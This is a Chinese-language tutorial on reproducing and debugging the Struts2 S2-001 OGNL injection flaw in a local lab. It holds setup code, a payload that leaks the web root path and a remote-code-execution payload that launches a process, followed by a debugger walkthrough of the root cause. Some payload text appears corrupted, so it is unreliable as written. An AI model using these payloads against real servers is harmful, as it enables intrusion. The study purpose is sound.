IDEA動態調試(一)——OGNL表達式注入(S2-001)

  • 2020 年 3 月 12 日
  • 筆記

一、環境搭建:

首先在IDEA中搭建調試環境,File-New-Java Enterprise,選擇Web Application:

然後構造項目,這裡使用現成的Demo程式碼:

依次新建web.xml:

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">    <display-name>S2-001 Example</display-name>    <filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>    </filter>    <filter-mapping>        <filter-name>struts2</filter-name>        <url-pattern>/*</url-pattern>    </filter-mapping>    <welcome-file-list>        <welcome-file>index.jsp</welcome-file>    </welcome-file-list></web-app>

前端程式碼,登錄頁面index.jsp和登錄成功的welcome.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login">  <s:textfield name="username" label="username" />  <s:textfield name="password" label="password" />  <s:submit></s:submit></s:form></body></html>
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>

src中新建com.demo.action包,後端處理程式碼LoginAction.java:

package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {    private String username = null;    private String password = null;    public String getUsername() {        return this.username;    }      public String getPassword() {        return this.password;    }      public void setUsername(String username) {        this.username = username;    }      public void setPassword(String password) {        this.password = password;    }      public String execute() throws Exception {        if ((this.username.isEmpty()) || (this.password.isEmpty())) {            return "error";        }        if ((this.username.equalsIgnoreCase("admin"))                && (this.password.equals("admin"))) {            return "success";        }        return "error";    }}

並在src目錄下新建struts.xml:

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="S2-001" extends="struts-default">        <action name="login" class="com.demo.action.LoginAction">            <result name="success">welcome.jsp</result>            <result name="error">index.jsp</result>        </action>    </package></struts>

最後在web目錄下新建lib目錄,放進所需的四個調用jar包,struts包下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip並在File—Project Structure—Dependencies—「+」 號—JARs將jar包導入:

最後將IDEA連接本地搭建好的Tomcat伺服器,Run-EditConfigurations,配置tomcat安裝地址及JRE:

二、攻擊效果復現:

點擊Run之後,進入搭建的環境,系統是在password欄位觸發的,首先在這裡輸入%{2+3}:

按程式碼邏輯,提交後若帳號密碼錯誤會將輸入列印,發現password被解析:2+3的結果5:

進一步進行攻擊,輸入payload,如獲取web目錄:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

執行任意程式碼RCE:

%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

三、動態調試

這才到了本文的重點,了解OGNL注入的漏洞原理及觸發過程以及動態調試的相關知識。S2-001的漏洞原理是在Struts2重新渲染jsp時,對ognl表達式進行了遞歸解析,導致了惡意的表達式被執行。我們以Debug方式運行環境:

在此之前需下一斷點,系統在運行在這裡的地方會停住,在點擊Submit,http請求經過tomcat容器的處理之後會到達struts2,所以可以從這裡開始調試,ParametersInterceptor類接受我們輸入的參數值進行處理:

開啟Debug後,輸入payload後submit,程式在斷點處停下,可觀察此時堆棧的情況:

下斷點的方法有很多,和二進位逆向的方法類似,下斷點的目的是幫助我們定位到關鍵處理。下斷點之後的另一個工作就是調試,主要用的Step into(F7)——遇到方法會進入,和Step over(F8)——不跟進方法內部。

這裡也可以在自定義類LoginAction里下斷點:

從調用棧中可以看到,在DefaultActionInvocation類中反射調用了我們自定義的類LoginAction

最終都會到達TextParseUtil類,在此處下斷點,程式會進入幾次,循環將變數轉換為對象,所以expression不一樣:

讀取jsp標籤並通過UIBean解析,這裡可以Step over直到解析到標籤的值:

經過XWorkConverter後expression的值變為%{password}:

由於沒有驗證,輸入%{2+3}被當做表達式進行解析,將解析結果取出繼續在while中循環解析,由於結果2不滿足表達式規則,將其返回為最終結果。

總結一下,漏洞的根因出現在XWork中ognl表達式的解析方法為遞歸解析。其他漏洞的動態調試方法也大概如此,後續總結。

Tags: